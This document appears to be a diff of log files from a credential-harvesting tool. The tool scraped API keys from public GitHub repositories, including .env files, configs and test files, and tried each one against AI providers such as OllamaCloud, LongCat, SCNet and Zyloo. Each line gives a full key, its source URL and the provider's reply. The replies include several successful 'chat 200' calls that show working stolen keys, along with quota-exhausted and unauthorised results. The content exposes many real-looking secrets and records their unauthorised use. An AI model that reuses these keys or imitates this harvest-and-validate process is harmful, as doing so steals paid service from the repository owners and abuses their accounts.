OllamaCloud|84166aa32e061576bbe6aaeb95649fcf.db13c9bc9c7bdd738ec89e06|https://github.com/nlpbook/nlpbook/blob/b0725757ca2b90beadefff89a07d3bd94e6c2ea2/ch02.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|8bcdd9b4e28e4e1b8bf14a2eb8701220.a1b2c3d4e5f6a7b8c9d0e1f2|https://github.com/nrl-ai/chub/blob/183d8f18a08c651830e81d6c2193d90d560b800e/crates/chub-core/tests/betterleaks_coverage.rs|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|3a77882097a1a2cefd51fd24b172355e.e7ee3fcd07c695a4c9f31ca7|https://github.com/tuanyuan2008/style-transfer/blob/952f11aa9f2867415fcbf46a560eb9ae5f883b7e/drg.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|5babf39ab5b48114d2b49267672ae10f.77b59256a4cf8343ae0f9232|https://github.com/pliang279/MultiViz/blob/c7803ef22cfeb52ca540c4f108a9f519d23c2900/demos/lxmert/demo.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|54cf325756a54a84a7730eb12b7a203e.d2055a9231325ba5b31b765b|https://github.com/over7-maker/Advanced-Multi-Agent-Intelligence-System/blob/4b8c82319a00086f33cd9ea964ee4a1f01cf4f66/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|6c36f54cfd6e0b7d3b90b25656e4262f.8baa8ae8795f4df80b28e7f7|https://github.com/robert-s-lee/grid-flair/blob/59f19e5658dd12af158ffa2bef605578489ce6a2/run.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|94bb2f7b8bd7e80c7968805834ba351e.35205c6cfc956461d8515139|https://github.com/UbiquitousLearning/FeS/blob/62f2ffb966060ced938fad16d3817f68dc98d32c/a.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|9f1a5475203f48c18dfdf8c70af3f432.I0a7qJ265D5UKASv1dYv8NZN|https://github.com/HEAB-TASK/heab-task-main/blob/a66d99c9f34510d84cc58c7d4f9fe06e231a4f7b/src/main/java/com/heabtask/core/service/impl/LangChain4jAiHandler.java|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.aaaaaaaaaaaaaaaaaaaaaaaa|https://github.com/cloud-ru-tech/guardrails-llm-filter-extproc/blob/6c8dcb77a625916b5cc08850f4d4993fc73c1155/tests/rules/rules_cases_test.go|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|91f55c26b97c541ef0e1a906e79744e6.018d2c16a8ce4aa166a9de7b|https://github.com/Review-BOD-Org/reviewbod/blob/e3835012fd44cdbc099c506c4bdc148089b45afa/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|ae0b674ef866b79c58177067d15732dd.1512018be4ba4e8726e41b91|https://github.com/nlpbook/nlpbook/blob/b0725757ca2b90beadefff89a07d3bd94e6c2ea2/ch02.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|cd7e829d7dc0ae78db44aee440bd6caf.dfae9c0f09bf4677bccf053e|https://github.com/Yunhao-Feng/Vera/blob/9bd5ffd7e2c9219e458ff5b4df0510b645979d98/final_data/1253_direct/trace.json|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|c7baef6c604241bd9c1e15ee3e5944e2.DgbsqgktbWbaL8Bv2UjLR7ky|https://github.com/LetsGaming/SkillPlate/blob/e5aec622cbc93a71ceab67d5b585b35d4fa2f33f/compose.yml|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|ce65abe0413011ef90c3c9ff66e60f20.aXIXXch3XSkZRZxMbbGw8SEX|https://github.com/vanhleg2301/front-end/blob/00a9c5f152fceea373a3cf81aef754b7d39db2aa/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|afd81e11ece622be6a3c2e4d42d8fd89.778cf36f5c4e5d94c8cd9cef|https://github.com/nlpbook/nlpbook/blob/b0725757ca2b90beadefff89a07d3bd94e6c2ea2/ch02.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|470abdabe0590c9ec742df61625ba310.b9628f6fe5519626534b82ce|https://github.com/tuanyuan2008/style-transfer/blob/952f11aa9f2867415fcbf46a560eb9ae5f883b7e/drg.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|d4123a111ea143199baa37b0ee14b202.M6ymf0D6ebY56oWVeJ3b2L3J|https://github.com/YWU99u/WiseMind-DDx-Psyc/blob/4e1ed40627a51d57b4d51addbd2f5550c252d851/src/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|d7fc42d92ac54128a92e52d9e5e81479.maHI9REFSGbmRgGY5S0wFISe|https://github.com/saz5100/wlv/blob/cd475f6faea30df7d1ab3328fd9514a2803c9990/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|d8cf2811037b4791b2e36ffb4afee830.LrLvzfuvzutO7MLHciyiUtpq|https://github.com/yoohyunseog/HANKOOKINTERNET-CHAMSOSIK/blob/3a7b118d7d63741b34ff6809045869f511478b07/web/ollama-ai-server/server.js|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|dd20b46f2bf0a47bc899c89f46532fde.20808570f9a3169212a577f8|https://github.com/tuanyuan2008/style-transfer/blob/952f11aa9f2867415fcbf46a560eb9ae5f883b7e/drg.ipynb|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|f2e8db440e7e4028a40a0aefbf8dbec5.7efl7SycTPjEwR645yJmxTs1|https://github.com/SachinthaGaurawa/wealthflow/blob/f2201625530dea89df8970e15ef1c5cb00b419de/api/ai.js|401: {"error":"Unauthorized"}
|
||||
|
||||
OllamaCloud|fcd3a040e91411efacfaab0600938aa6.Fpu9nLWHDh8KH3RRwDvbgCYN|https://github.com/htp2003/pos-backend/blob/bbf2213223c260fdffc590e04537913c0ffa1910/.env|401: {"error":"Unauthorized"}
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
SCNet|sk-tp-pJx7nPPpry0uLDtgzUNvTkRK8nIMyKT57ajBCzmanPL1pHty|https://github.com/BoswellJi/BoswellJi/blob/697b0b5a590cf6e39a1c573fdf1d50e227c8b24e/packages/langchain/.env|[deepseek-v3] HTTP 422: {"error":{"message":"Model Not Exist: deepseek-v3","type":"invalid_request_error","param":null,"code":"422"},"request_id":"204e77f4291f35c5"
|
||||
SCNet|sk-tp-1234567890abcdefghijklmnop|https://github.com/wahajnintyeight/project-phoenix-v2/blob/b1b5a85deb62cedf5a466e6dba8f7f79519541f1/pkg/service/scraper-service/handlers/scraper-handler_test.go|[deepseek-v3] HTTP 422: {"error":{"message":"Model Not Exist: deepseek-v3","type":"invalid_request_error","param":null,"code":"422"},"request_id":"ffa2bef2601eeadb"
|
||||
SCNet|sk-tp-GCgjOgMSzNpMXZ8UxKyJR5rICMTNHwFe|https://github.com/TencentCloud/tencentcloud-cli/blob/7c9a059c3a532e2df65ed826b9b796d20ada5142/tccli/services/tokenhub/v20260322/api.json|[deepseek-v3] HTTP 422: {"error":{"message":"Model Not Exist: deepseek-v3","type":"invalid_request_error","param":null,"code":"422"},"request_id":"ebbbbcc71396dad4"
|
||||
OllamaCloud|0313a3b2d2dd4f219c263389a1f8185a.QEgeNBS01Ksiapjn1stb4VXK|https://github.com/thanhmobile080604/IOTApp/blob/bb137c648bdd911c58d83628d20446ede943a719/app/src/main/java/com/example/iotapp/ui/chatbot/ChatbotFragment.kt|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|005cae75a0d0454e990b217a4a24792c.CYfR01thlR6D68YbkrbKe0cf|https://github.com/jiggy769/OPENCLAW-ENTERPRISE/blob/da81cbe9daeb2dbaa04de43880b517a33ad16b52/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|0131d7f30ccb4864b2c37aca0c7a511a.mH4dQd3W0EYVlNwhm8UDZMVJ|https://github.com/Nishantjaryal/findash/blob/1aeb90fb92dec9a9d6fc50bf005c938ba1d1854d/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|367463f663264bf7ba76f5b2cc34e068.Ei7Yvwu3BQ3mQkxOEnRwb7Ko|https://github.com/panyeroa1/tts-stt-orb/blob/c8816b493cea4ce2e757985184804dcbcac36efb/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|a2f97ef2effa4c5fbc99f3374aeb35b3.LlcoRRIcf4rFaBbVsaFR4DPI|https://github.com/hairift/mr-great-ai-mobile/blob/4821eb2219f0f4453b3a3ddb6fad155988e8267c/server/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|28de8464911240dc9b29591a0c97bf12.XcaV7bc7kZnrTnqwfMHuxR66|https://github.com/tlili-achref/iaResearchHub-classification_service/blob/887e10e077c789e9f1a8455e259672c037004203/app/config.py|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|3c59fcbdf15b4c02b64e93a544add018.4gypXlrDEbnV4gtneL7jCoB4|https://github.com/lucentarbor-ctrl/lucentarbor/blob/e2f7848dadfaf4be8aedcd5e6221398749c918b0/public/js/ollama-cloud-api.js|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|6bab7f40e8ca4da0b9abc72a66fa6c12.tCjESJRFOnDALtZ3U8W88Dkp|https://github.com/OrekhovD/Wored/blob/3a684fb972be6e4d1e75a0f9ee38e42347daafce/hermes_config_new.yaml|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|d190bb1923b7495a815748cfc92a468f.Y1kyHCAwO0ZwHM3wQxyErqx5|https://github.com/TheSamsAlif/Medify-PRO/blob/c69a7e9153d58437d715cdddc1c8e09755c604f7/src/app/api/chat/route.ts|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|ca88d2e3f0ad43e2b083d8b59bde5d0e.LLerUGP4WsPtXkHtkKcYI2Ut|https://github.com/aline12marcolino-ops/CHATBOT-GOODWE/blob/0dcd868c32434401aff75da14544b6140afb58ca/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|bef1758095114d51be25ebb2d88679f8.BG34PpG7Eze4l82zNuWPA9Vy|https://github.com/vikram11/wellnesslogin/blob/47a688d4d9db6184a6636cd2a8849072d07af56d/nextjs_space/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|e71c42f8cbe24bb6afde747d0a70e692.AJv2tQuixzTaJpXyf13cIJv6|https://github.com/NaphatPound/video-edit-gemma-4/blob/75fe1205a0009e1182921eb17da57164ca1257c5/server.js|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|f63cbbfb00be41b18716e833b7de48fe.peVlPZuPfxbKUyxQbx8Hz174|https://github.com/romil569/langchain-chatbot/blob/e6aba57db1d29a43854147514c4729fd0ab83027/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|de8a60bfd3c34822bd539d79ffcdfc55.mWP4hxIqtHbi8MzMUOh00W19|https://github.com/BhuvanChaithanya/Log_Triaging_Application/blob/6aa7a7c2e2821e5c449d8c57a3fdd34418eee02b/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|f6a763daaa0546cea30cfdb4ff9bb474.LKi0Qyrj14T0U7mvye2Ad9Ir|https://github.com/harvestwalukow/challenge_ai_eng/blob/0931c2577afcc0add062e36fab1ea413e0a9cd5b/challenge_ai_eng.ipynb|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
OllamaCloud|f7a7e85a685a4f56a305b14fb9453f95.ajkPLla9MCXNNoTGfDtmrTIk|https://github.com/OG-Huzzi/Excel-V2/blob/8270426a8f61c6dabd5e0f0985fb9258d90f3ae4/sources/excel-mcp-server-main/excel-mcp-server-main/.env|HTTP 404: {"error": "model 'llama3.2' not found"}
|
||||
|
||||
@@ -0,0 +1,22 @@
|
||||
LongCat|ak_1Ea5cx4AQ2Nu67s39u0YL4Hh6WK3W|https://github.com/tinkooopro/OrbitX-Bot/blob/e6c6b9403c982375c14d71f0954e834f0e4cfccb/index.js|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_1nC4zp1Di6589AU02N98x5l30EU8w|https://github.com/mingchen666/Reviva/blob/4b173470a02cfb986311d368841d90557c633765/test/1.js|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_1H91k98qz9gB74R3m60Fd3OU7F72Y|https://github.com/m4Fagundes/ES-II/blob/9f55c590d1b22258e2ebf5d247c540c1ba30178e/api/routers/chatbot.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_1TN7xS99s7dV4Ao95q3fN06G2Av7X|https://github.com/AyanArjumand/Task-Management-App/blob/70e229f72b3964e0cad069acefdb29fa5a52d05b/server/.env|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_1pB1di1eE5a90uq6Yu2Z62qG3xw2P|https://github.com/mytahir/SaudiCitiesAI/blob/92b4c21094f49fd65983fe306f210995e55216c1/.env|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_1E08gJ7Z913j3sq1ml7Bn5vX2hd2O|https://github.com/qztsix5/Big-Data-Project/blob/8cdb0c4fe376b2bbe7f89815a5798198e5383836/swar_v5.0.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_1F64Tk32N0oN4KD2Dq4h66KU43J6l|https://github.com/LOLOLTheFatFish/Reading-oriented-vocabulary-learning/blob/f3def78caa7c224efd7917e8926ae0a68da0d81f/card-maker/config.yaml|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_1Tj8qt04I0Jn6sD3wU4oI3fw73r46|https://github.com/qztsix5/Big-Data-Project/blob/8cdb0c4fe376b2bbe7f89815a5798198e5383836/swar_v5.0.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_1of7ym6Ts7p77kC9dJ3Bn3j87t96K|https://github.com/a-boy/play/blob/6d3d9f75468b97f3dee5d762af8124b26f8f402a/LongCat/chat.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_1va1PS0eu76S72B2vX8DV29f1FW9w|https://github.com/threebigerthantwoalways/AuttaNative/blob/cb27385e11d68ddd6ce86805f5a21ff0ce8c2147/scan/rag_code_scan.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_2Nm46W1o70Cu9IK4PQ4114cY2KB4G|https://github.com/Yuuqq/PulseRadar/blob/231bc01f9e5d97bd6564b54b15a509d4c8379392/config/config.yaml|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_2Ls5D22jV6fT57w9bp0Ql1C61Ue4G|https://github.com/hdd-2003/dream/blob/b4d41dc45abae3c41420323faa26bfd3699e1756/src/config/api.ts|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_2Nu3Zp7IO0fa5M01Aa3xq6F66uh0k|https://github.com/Someone-LikeU/JanvisAgent/blob/0064e4e67d290f26a98296b7cccfef518c511c4f/JanvisAgent/2.Memory/test_agent.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_2RN5Ru3A130c6rr0Pf3MC7so2Vh5q|https://github.com/varun-thota27/Notes-Automation-QA/blob/7c61937033c78e40f3020d893bbd5d7446d8eb7c/config/ai_config.json|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_2b45eX3PQ1eQ7wh4Uz3jB3vd2Xr4E|https://github.com/honey3031/Note-_automation/blob/e220acd186482f0dc1f265f6ade10030dcb9d8c3/.env|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_2h56uP57o7PT24R0Zk4Qa4x06zX78|https://github.com/JawadSaghir/Langgraph/blob/451a0d106b16e2b72ccacb96ff9f7cca85dfdb33/src/router/router.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
Zyloo|sk-zy-2bd9407fd18512a198b3ee8ef74a895392f4456b142feadb|https://github.com/rushikeshgoud19/MY-AI/blob/d1052bbe409aba90101550c3a7f70b96f0e31720/tests/root_scripts/test_zyloo.py|[zyloo/claude-opus-4-7] chat=402: {"error":{"message":"Insufficient credit. Add funds at zyloo.io/dashboard/billing.","type":"insufficient_quota","code":"insufficient_quota",
|
||||
LongCat|ak_2nN6YE1g754j6vF7vy83W5Jc0nR7j|https://github.com/zhiqi168/novaleap-v2/blob/0f874891ea9a006a82781501354e4f9fbb7107a6/nova-backend/src/main/resources/application-dev.yml|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_2rU2Ai02G5b04d594p8Vp6Ip5RA0s|https://github.com/892848153/ai-web-platform/blob/0955534cc1f58b83375a04c4f296aecec4cf2f97/.env|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
Zyloo|sk-zy-0a1ad246ec0759181208f467e4981a97b37a8d5e75fb8cb4|https://github.com/rushikeshgoud19/MY-AI/blob/d1052bbe409aba90101550c3a7f70b96f0e31720/tests/root_scripts/test_zyloo.py|[zyloo/claude-opus-4-7] chat=402: {"error":{"message":"Insufficient credit. Add funds at zyloo.io/dashboard/billing.","type":"insufficient_quota","code":"insufficient_quota",
|
||||
LongCat|ak_2wz4Vq3QO2Qc38J6SL5TD1Zv4NH8J|https://github.com/kaikaiyang117/HelloAgent/blob/fd6c32406225bd490de40cfa37ce33d42ca912cd/main.py|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
LongCat|ak_2t79F73KI00S1hT4JZ51G9Fg7ut37|https://github.com/AyGemuy/api-wudysoft/blob/8b30e1da26542d5b0365a304570e0df607d1a633/pages/api/ai/longcat.js|[LongCat-2.0] chat=402: {"error":{"code":"too_many_requests","message":"调用失败:Token 额度不足。欢迎反馈模型使用case(https://longcat.chat/platform/feedback)获取更多额度","type":"rate_lim
|
||||
Whitespace-only changes.
@@ -0,0 +1,7 @@
|
||||
LongCat|ak_20W6R568F1iC44y6gu02v0uq8I54Q|https://github.com/RyouLmusic/raye/blob/183f0c8c4825f7d54d31c06b26646eb902bd211a/packges/core/src/agent/agent.json|[LongCat-2.0] chat 200 {"id":"7b0453edc6b04c4ca5b8119503c2873a","object":"chat.completion","created":1785594662,"model":"Lo
|
||||
LongCat|ak_2Hc0O155H6Od00r96556Y3Fh3nL0c|https://github.com/liaoliangan/SmartHome-for-ESP32-S3/blob/def0fe80ba015886a23266a8460148e3a2260d6e/.claude/settings.local.json|[LongCat-2.0] chat 200 {"id":"a78652fd29904ae5a91f9efadb616068","object":"chat.completion","created":1785594662,"model":"Lo
|
||||
LongCat|ak_2Yq9UX5WH3Lz7wt1s68U15MB0AE2m|https://github.com/Jvzima/long-running-coding-agent/blob/c38baae76603f9527068362c35dda3c73eec9fd6/config.py|[LongCat-2.0] chat 200 {"id":"27df7dce8b8745ca9fb662de6ab9fe92","object":"chat.completion","created":1785594662,"model":"Lo
|
||||
LongCat|ak_2lj9rz9WX5L58OJ0BY7Ch7zq5Xb33|https://github.com/notvalid0/ShitCode-BUPT/blob/88efae7ffc98365328d6af74e75039434cc10949/SCS/NLTools/config.json|[LongCat-2.0] chat 200 {"id":"ef7e2c398de245b5b7ab522a024625b9","object":"chat.completion","created":1785594662,"model":"Lo
|
||||
LongCat|ak_2Fw1hL0xA8H33yj1wn4pW8ag0w84y|https://github.com/JingW-ui/PI-MAPP/blob/9797c4fbaaec46e77d0cb974aee1dee16434de01/project/Fucking_jobs/utls/use_LLM.py|[LongCat-2.0] chat 200 {"id":"eb23529d527546cb8cfe9d3ad88b88fa","object":"chat.completion","created":1785594663,"model":"Lo
|
||||
LongCat|ak_2dV0dh97x2jc6Ip8hX6gu6WB1IJ90|https://github.com/ShineBreaker/Guix-configs/blob/5c155870479ed49768dddb217f51abd77af643b0/dotfiles/mutable/hermes/.local/share/hermes/config.yaml|[LongCat-2.0] chat 200 {"id":"1c472a03f2114a6da51c10a1172155b1","object":"chat.completion","created":1785594663,"model":"Lo
|
||||
LongCat|ak_2yp3Xw1Ny7ky2pF7er9x93ZO9jj6G|https://github.com/blackeagle686/giyu-agent/blob/8375b86c7374b2a33c6722847b289ee03e84c67a/.env|[LongCat-2.0] chat 200 {"id":"415ae5a7193e46948bf951ce384a2836","object":"chat.completion","created":1785594664,"model":"Lo
|
||||
Whitespace-only changes.
@@ -0,0 +1,18 @@
|
||||
sk-specific-ai-agents-by-2026-up-from-less-than-5-percent-in-2025|https://github.com/sattyamjjain/agent-airlock/blob/b1f5d7d600071553b60ed039d28d541da7d94d95/CHANGELOG.md|all models failed/404
|
||||
sk-ant-fake-key-for-seed-data|https://github.com/faremeter/interchange/blob/e3b7f5a1ce8f2c50424fce44cd4b23e7f75f4d9c/bin/seed.ts|all models failed/404
|
||||
sk-YKIsf5FHQhY3NdQW9f6944Dd2d5742049d7cDb398e66B862|https://github.com/MAGIC-AI4Med/RadABench/blob/8a66a843740989f120107b8a70ce9a169885a103/EvalPlat/EvalPipeline_multihop_denyl1.py|all models failed/404
|
||||
sk-7B4k9bjiYPIkawKQaPWNw7eqnt8oWtJUoKKJutYJWsKK8atJ|https://github.com/MAGIC-AI4Med/RadABench/blob/8a66a843740989f120107b8a70ce9a169885a103/EvalPlat/EvalPipeline_multihop_denyl1.py|all models failed/404
|
||||
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|https://github.com/karthikeya-jammula/Pharma-Dash/blob/46591a150e989d6c30c1bbca2374a0d1c7744976/README_COMPREHENSIVE.md|all models failed/404
|
||||
sk-tPphc4JsztVS3EnOSFYcTMEu4VTD5lS8iqFBTqS2gOTkNuwG|https://github.com/MAGIC-AI4Med/RadABench/blob/8a66a843740989f120107b8a70ce9a169885a103/EvalPlat/EvalPipeline_multihop_denyl1.py|all models failed/404
|
||||
sk--risk-register-and-intelligence|https://github.com/antnewman/pda-platform/blob/defd859819680f4bbc6341ae01a2b6e131a02d5d/docs/mcp-tools-reference.md|all models failed/404
|
||||
sk-secret-should-not-appear|https://github.com/stormlightlabs/thunderus/blob/1935404d0967f5ab5e5b7b3f0bd0edf798323de3/crates/thndrs/src/cli/app/tests/slash.rs|all models failed/404
|
||||
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|https://github.com/milas-melt/bio_ai_hack_backend/blob/268a1ae833bde0e08ba36bd99970396f30f36737/pubmed_rag.py|all models failed/404
|
||||
sk-ant-api03-YOUR_CLAUDE_API_KEY_HERE|https://github.com/sureSundar/STEPPPS/blob/d8d0229a6d334e3e711bb1a03c1af0b439e0fea9/GROK/evolution_genesis.py|all models failed/404
|
||||
sk-13-configure-the-system-1-reflex-arc-instincts|https://github.com/bruceamoser/OpenBaD/blob/fa4bb69c85092d77019f4bbc860b8472b7e6148f/03-cognitive-engine-immune-system.md|all models failed/404
|
||||
sk-a3ab3c080beaee3a-69f4a4-070d71af|https://github.com/aj-omanai/1st/blob/6eea4894299d5371c00c11f1f6dec2f7c0076253/omniroute/docs/i18n/zh-CN/docs/reference/CLI-TOOLS.md|all models failed/404
|
||||
sk-or-v1-d41d8cd98f00b204e9800998ecf8427e|https://github.com/woodsai69rme/openrouter-ai-ecosystem/blob/5fa8e930fe3b7089fac0735b81fc29e0beeec398/hackrf_enhanced_ultimate.py|all models failed/404
|
||||
sk-8--pwsh--argument-gotcha--progress-streaming-2026-07-19-same-session|https://github.com/katasec/mission-control-language/blob/461228bbcce69e9f1776d6099b01b3c25b80492d/docs/plan.md|all models failed/404
|
||||
sk-42-implement-the-sleep-consolidation-cycle|https://github.com/bruceamoser/OpenBaD/blob/fa4bb69c85092d77019f4bbc860b8472b7e6148f/03-cognitive-engine-immune-system.md|all models failed/404
|
||||
sk-2260a89c01b6424a9f5c0fc47dfdd790|https://github.com/hrafael2011/general-medical-services/blob/b2f17e9712863be4970a0ac99e43e2a85c14da83/docs/security/owasp-asi-compliance-report-2026-06-11.md|all models failed/404
|
||||
sk-dev-api-key-securenet-default|https://github.com/Pmvita/SecureNet/blob/3fb60dd4b9040d2b8f3b396698d231994324b4cd/docs/project/PROJECT-SUMMARY.md|all models failed/404
|
||||
sk-Monitoring-with-Databricks|https://github.com/cnero101/Real-Time-Pipeline-Risk-Monitoring-with-Databricks/blob/564b2a3870e60e349f8692af45a881c5fe4c8633/README.md|all models failed/404
|
||||
Whitespace-only changes.
@@ -0,0 +1,7 @@
|
||||
sk-of-material-misstatement|https://github.com/kalimbiya-derick/Financial-Data-Analytics-Project-using-Python/blob/cc18015f02379b12117cdd072f3e66510eaccbdb/README.md|net SSLError: [SSL: SSLV3_ALERT_BAD_RECORD_MAC] sslv3 alert bad record mac (_ssl.c:2546)
|
||||
sk-Be86e11ZdWdO0IHOGr4cLVutkROL6xpwRBPoEEViVLU20SzA|https://github.com/MAGIC-AI4Med/RadABench/blob/8a66a843740989f120107b8a70ce9a169885a103/EvalPlat/EvalPipeline_multihop_denyl1.py|net RemoteDisconnected: Remote end closed connection without response
|
||||
sk-litellm-DEACTIVATED-2026-06|https://github.com/gustavofullstack/Cartorio/blob/d5427b42ff998005fdef12b9b5a8f764033eeca7/.env.example|net TimeoutError: The read operation timed out
|
||||
sk-your_opencode_go_key_here|https://github.com/vermarjun/Chad/blob/63105f2d00c45458f6b4c547d7aab987911d78f4/docs/OPENCODE_GO_DEEPSEEK_V4_HANDOFF.md|net RemoteDisconnected: Remote end closed connection without response
|
||||
sk-52-map-endocrine-hooks-to-system-directives|https://github.com/bruceamoser/OpenBaD/blob/fa4bb69c85092d77019f4bbc860b8472b7e6148f/03-cognitive-engine-immune-system.md|net RemoteDisconnected: Remote end closed connection without response
|
||||
sk-12-implement-interoception-via-ebpf-homeostasis|https://github.com/bruceamoser/OpenBaD/blob/fa4bb69c85092d77019f4bbc860b8472b7e6148f/03-cognitive-engine-immune-system.md|net TimeoutError: The read operation timed out
|
||||
sk-proj-iQtcgUJOOf4n53Bs6uyqT3BlbkFJnEIqUeEwXjbjVMcDVqiz|https://github.com/UC-Berkeley-I-School/gabblegrid-mini/blob/fa8600dd8f714558d1d442345e38fc310318b8d2/26.20240921_Inference_and_Deployment/01.Dev/GOLD/20240719_GOLD_streamlit_app_CHATGPT_async_left_bar_v1.70_GOLD.py|net RemoteDisconnected: Remote end closed connection without response
|
||||
Whitespace-only changes.
@@ -0,0 +1,19 @@
|
||||
sk-stabilityA1b2C3d4E5f6G7h8I9j0|https://github.com/LeeBush22/agent-security-scanner/blob/f146343ed184f4f553bf74bef9478d1f4faf38b0/tests/test_secrets_rules.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
sk-ptyrqcoakodsijdqglxbzucezfvdmdolzxxfafdpozixljdr|https://github.com/123fjh/CircuitMind/blob/4677b755a718f5b15fc304ba3866a8e04a9a2902/GUI/utils/config.py|401: {"error":{"message":"请使用正确的api key进行请求","type":"invalid_request_error","param":null,"code":"invalid_api_key"}}
|
||||
